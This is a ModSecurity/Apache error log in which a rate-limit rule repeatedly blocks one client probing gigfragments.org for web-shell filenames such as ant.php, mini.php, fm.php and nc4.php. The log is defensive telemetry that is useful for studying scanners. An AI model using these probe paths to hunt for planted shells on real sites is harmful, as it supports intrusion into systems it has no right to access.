[Sat Jan 03 03:30:07.687503 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:14609] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aVgcv-cFqdpu6TNsuWqyAAAAABg"]
[Sat Jan 03 03:30:07.994107 2026] [:error] [pid 1930:tid 1973] [client 20.39.206.242:14644] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aVgcv5P-6mqhfUDa89y6awAAAEc"]
[Sat Jan 03 03:30:08.416404 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:14583] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aVgcwJP-6mqhfUDa89y6bgAAAFQ"]
[Sat Jan 03 03:30:08.777597 2026] [:error] [pid 1930:tid 1966] [client 20.39.206.242:14682] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aVgcwJP-6mqhfUDa89y6cAAAAEA"]
[Sat Jan 03 03:30:09.203307 2026] [:error] [pid 1929:tid 1942] [client 20.39.206.242:14566] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aVgcwecFqdpu6TNsuWqyAwAAAAQ"]
[Sat Jan 03 03:30:09.480457 2026] [:error] [pid 1929:tid 1960] [client 20.39.206.242:14824] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aVgcwecFqdpu6TNsuWqyBQAAABY"]
[Sat Jan 03 03:30:09.854233 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:14652] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aVgcwR8Tyw7ZoIdXlcba6gAAAIw"]
[Sat Jan 03 03:30:10.176899 2026] [:error] [pid 1930:tid 1975] [client 20.39.206.242:14828] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVgcwpP-6mqhfUDa89y6cQAAAEk"]
[Sat Jan 03 03:30:10.604931 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:14830] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVgcwpP-6mqhfUDa89y6cgAAAE4"]
[Sat Jan 03 03:30:10.938157 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15082] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVgcwpP-6mqhfUDa89y6cwAAAFU"]
[Sat Jan 03 03:30:11.385176 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:14558] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVgcwx8Tyw7ZoIdXlcba7QAAAIU"]
[Sat Jan 03 03:30:11.771055 2026] [:error] [pid 1930:tid 1984] [client 20.39.206.242:14845] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aVgcw5P-6mqhfUDa89y6dAAAAFI"]
[Sat Jan 03 03:30:12.122918 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14843] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aVgcxDVlR_BmlMPnhV6cvwAAANY"]
[Sat Jan 03 03:30:12.428193 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14601] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aVgcxDVlR_BmlMPnhV6cwQAAAMs"]
[Sat Jan 03 03:30:12.789811 2026] [:error] [pid 1930:tid 1982] [client 20.39.206.242:14715] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aVgcxJP-6mqhfUDa89y6dQAAAFA"]
[Sat Jan 03 03:30:13.141840 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:14719] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aVgcxZP-6mqhfUDa89y6dgAAAFE"]
[Sat Jan 03 03:30:13.490141 2026] [:error] [pid 1931:tid 2031] [client 20.39.206.242:22253] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aVgcxR8Tyw7ZoIdXlcba8AAAAIc"]
[Sat Jan 03 03:30:13.776193 2026] [:error] [pid 2083:tid 2099] [client 20.39.206.242:22218] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aVgcxTVlR_BmlMPnhV6cwgAAAM4"]
[Sat Jan 03 03:30:14.070686 2026] [:error] [pid 1930:tid 1967] [client 20.39.206.242:14637] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aVgcxpP-6mqhfUDa89y6dwAAAEE"]
[Sat Jan 03 03:30:14.366751 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:14641] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVgcxpP-6mqhfUDa89y6eAAAAEU"]
[Sat Jan 03 03:30:14.761400 2026] [:error] [pid 1930:tid 1981] [client 20.39.206.242:22210] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVgcxpP-6mqhfUDa89y6eQAAAE8"]
[Sat Jan 03 03:30:15.257710 2026] [:error] [pid 1930:tid 1972] [client 20.39.206.242:14531] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVgcx5P-6mqhfUDa89y6ewAAAEY"]
[Sat Jan 03 03:30:15.552057 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:14620] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVgcxzVlR_BmlMPnhV6cxAAAAMk"]
[Sat Jan 03 03:30:15.910369 2026] [:error] [pid 1929:tid 1950] [client 20.39.206.242:14629] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVgcx-cFqdpu6TNsuWqyBgAAAAw"]
[Sat Jan 03 03:30:16.350069 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14614] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVgcyJP-6mqhfUDa89y6fQAAAFM"]
[Sat Jan 03 03:30:16.660136 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14811] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVgcyOcFqdpu6TNsuWqyBwAAAAk"]
[Sat Jan 03 03:30:17.106910 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:14649] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVgcyTVlR_BmlMPnhV6cxQAAANc"]
[Sat Jan 03 03:30:17.421094 2026] [:error] [pid 1931:tid 1994] [client 20.39.206.242:14632] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aVgcyR8Tyw7ZoIdXlcba8QAAAIE"]
[Sat Jan 03 03:30:17.779481 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14627] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aVgcyR8Tyw7ZoIdXlcba8wAAAIA"]
[Sat Jan 03 03:30:18.135870 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:14602] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aVgcyjVlR_BmlMPnhV6cxwAAAMc"]
[Sat Jan 03 03:30:18.468646 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14820] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aVgcyjVlR_BmlMPnhV6cyAAAANU"]
[Sat Jan 03 03:30:18.764787 2026] [:error] [pid 2083:tid 2102] [client 20.39.206.242:14808] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aVgcyjVlR_BmlMPnhV6cygAAANE"]
[Sat Jan 03 03:30:19.117452 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14577] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aVgcyzVlR_BmlMPnhV6cywAAAMg"]
[Sat Jan 03 03:30:19.557485 2026] [:error] [pid 2083:tid 2090] [client 20.39.206.242:22241] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aVgcyzVlR_BmlMPnhV6czAAAAMU"]
[Sat Jan 03 03:30:19.831705 2026] [:error] [pid 2083:tid 2087] [client 20.39.206.242:14605] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aVgcyzVlR_BmlMPnhV6czQAAAMI"]
[Sat Jan 03 03:30:20.152823 2026] [:error] [pid 1930:tid 1969] [client 20.39.206.242:14594] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVgczJP-6mqhfUDa89y6gAAAAEM"]
[Sat Jan 03 03:30:20.438004 2026] [:error] [pid 2083:tid 2109] [client 20.39.206.242:14552] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVgczDVlR_BmlMPnhV6czwAAANg"]
[Sat Jan 03 03:30:20.807221 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:22258] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVgczDVlR_BmlMPnhV6c0AAAAMo"]
[Sat Jan 03 03:30:21.206394 2026] [:error] [pid 1929:tid 1954] [client 20.39.206.242:14655] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVgczecFqdpu6TNsuWqyCQAAABA"]
[Sat Jan 03 03:30:21.544764 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14804] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aVgczTVlR_BmlMPnhV6c0QAAANY"]
[Sat Jan 03 03:30:21.834040 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14573] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aVgczTVlR_BmlMPnhV6c1AAAAM8"]
[Sat Jan 03 03:30:22.140099 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:14581] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aVgczjVlR_BmlMPnhV6c1QAAAMw"]
[Sat Jan 03 03:30:22.511484 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:15210] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aVgczh8Tyw7ZoIdXlcba9QAAAI8"]
[Sat Jan 03 03:30:22.921388 2026] [:error] [pid 1929:tid 1951] [client 20.39.206.242:14551] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVgczucFqdpu6TNsuWqyCgAAAA0"]
[Sat Jan 03 03:30:23.305876 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:22247] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVgcz-cFqdpu6TNsuWqyCwAAAA8"]
[Sat Jan 03 03:30:23.615272 2026] [:error] [pid 2083:tid 2086] [client 20.39.206.242:14819] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVgczzVlR_BmlMPnhV6c2AAAAME"]
[Sat Jan 03 03:30:23.898999 2026] [:error] [pid 1929:tid 1940] [client 20.39.206.242:14560] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVgcz-cFqdpu6TNsuWqyDAAAAAI"]
[Sat Jan 03 03:30:24.182138 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:22221] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVgc0OcFqdpu6TNsuWqyDQAAAAs"]
[Sat Jan 03 03:30:24.574034 2026] [:error] [pid 1929:tid 1944] [client 20.39.206.242:14616] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVgc0OcFqdpu6TNsuWqyDwAAAAY"]
[Sat Jan 03 03:30:24.870036 2026] [:error] [pid 1929:tid 1941] [client 20.39.206.242:14622] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVgc0OcFqdpu6TNsuWqyEAAAAAM"]
[Sat Jan 03 03:30:25.141278 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14611] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVgc0TVlR_BmlMPnhV6c2gAAANU"]
[Sat Jan 03 03:30:25.452984 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:14547] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aVgc0ecFqdpu6TNsuWqyEQAAAA4"]
[Sat Jan 03 03:30:25.746979 2026] [:error] [pid 1930:tid 1968] [client 20.39.206.242:14556] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aVgc0ZP-6mqhfUDa89y6ggAAAEI"]
[Sat Jan 03 03:30:26.053512 2026] [:error] [pid 2083:tid 2085] [client 20.39.206.242:14538] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aVgc0jVlR_BmlMPnhV6c3AAAAMA"]
[Sat Jan 03 03:30:26.364668 2026] [:error] [pid 1930:tid 1975] [client 20.39.206.242:14590] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aVgc0pP-6mqhfUDa89y6hAAAAEk"]
[Sat Jan 03 03:30:26.649339 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:14643] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aVgc0pP-6mqhfUDa89y6hQAAAE4"]
[Sat Jan 03 03:30:26.975485 2026] [:error] [pid 2083:tid 2102] [client 20.39.206.242:22213] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aVgc0jVlR_BmlMPnhV6c3QAAANE"]
